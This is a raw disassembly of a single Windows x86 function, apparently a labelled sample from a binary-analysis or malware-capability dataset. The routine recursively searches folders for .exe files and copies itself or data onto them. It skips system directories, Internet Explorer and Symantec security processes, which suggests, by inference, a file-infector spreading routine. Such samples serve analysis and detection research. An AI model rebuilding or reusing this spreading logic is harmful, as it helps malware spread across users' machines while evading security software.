Function at 0x40123c
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.0040391b
mov ebx, eax
push esi
mov dword [esp + 0x20], ebx
call fcn.0040391b
push esi
mov dword [esp + 0x1c], eax
call fcn.0040391b
push esi
mov edi, eax
call fcn.0040391b
push dword [esp + 0x34]
mov esi, eax
mov dword [esp + 0x30], esi
push ebx
call fcn.004037b0
push str..exe
push ebx
call fcn.004037c0
push 0x140
call fcn.0040391b
push dword [0x40ba3c]
mov ebp, eax
push dword [esp + 0x4c]
call fcn.00407ee0
add esp, 0x2c
test eax, eax
je 0x401577
push dword [0x40ba44]
push dword [esp + 0x28]
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.windows
push eax
mov dword [esp + 0x1c], 7
push dword [esp + 0x2c]
call fcn.00401d68
pop ecx
pop ecx
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.system32
push eax
mov dword [esp + 0x1c], 8
push dword [esp + 0x2c]
call fcn.00401d68
pop ecx
pop ecx
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401577
lea eax, [esp + 0x14]
push str.system
push eax
mov dword [esp + 0x1c], 6
push dword [esp + 0x2c]
call fcn.00401d68
pop ecx
pop ecx
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401577
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
mov ebx, 0x40b08c
je 0x4014c6
lea eax, [ebp + 0x2c]
push str.IEXPLORE.EXE
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x4014aa
lea eax, [ebp + 0x2c]
push str.ccApp.exe
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x4014aa
lea eax, [ebp + 0x2c]
push str.ccRegVfy.exe
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x4014aa
push dword [esp + 0x24]
push edi
call fcn.004037b0
push ebx
push edi
call fcn.004037c0
lea eax, [ebp + 0x2c]
push eax
push edi
call fcn.004037c0
push edi
push esi
call fcn.004037b0
add esp, 0x20
push 0x40ba28
push esi
call fcn.004038a0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.004037b0
push esi
call fcn.004011f6
add esp, 0xc
test al, al
je 0x4013fe
push esi
call fcn.00401c2d
pop ecx
push edi
call fcn.004018ad
test al, al
pop ecx
jne 0x4014aa
push edi
mov ecx, 0x40ba34
call fcn.00401e1c
test al, al
je 0x4014aa
push dword [0x40ba44]
call fcn.004038a0
mov ecx, dword [0x40ba30]
lea eax, [eax + ecx + 0xa]
push eax
call fcn.0040391b
push dword [0x40ba44]
mov esi, eax
push esi
call fcn.004037b0
push ebx
push esi
call fcn.004037c0
push dword [0x40ba20]
push esi
call fcn.004037c0
push 0x40b05c
push esi
call fcn.004037c0
push 0x40ba2c
push esi
call fcn.004037c0
add esp, 0x30
push 0
push esi
push dword [0x40ba40]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push edi
mov ecx, 0x40ba34
call fcn.00402301
push edi
push esi
call fcn.00401a1d
push esi
call fcn.00401c2d
push esi
call fcn.00403929
mov esi, dword [esp + 0x2c]
add esp, 0x10
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4014c6
push str.IEXPLORE.EXE
lea eax, [ebp + 0x2c]
jmp 0x40136f
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x24]
push dword [esp + 0x1c]
call fcn.004037b0
push str..
push dword [esp + 0x24]
call fcn.004037c0
add esp, 0x10
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x401573
mov eax, dword [ebp]
and eax, 0x10
cmp al, 0x10
jne 0x401564
lea eax, [ebp + 0x2c]
push 0x40b05c
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401564
lea eax, [ebp + 0x2c]
push 0x40b050
push eax
call fcn.00407ee0
pop ecx
test eax, eax
pop ecx
je 0x401564
push dword [esp + 0x24]
push dword [esp + 0x14]
call fcn.004037b0
push ebx
push dword [esp + 0x1c]
call fcn.004037c0
lea eax, [ebp + 0x2c]
push eax
push dword [esp + 0x24]
call fcn.004037c0
push dword [esp + 0x28]
call fcn.0040123c
add esp, 0x1c
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jmp 0x401500
mov ebx, dword [esp + 0x18]
push ebx
call fcn.00403929
push dword [esp + 0x14]
call fcn.00403929
push edi
call fcn.00403929
push esi
call fcn.00403929
push ebp
call fcn.00403929
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret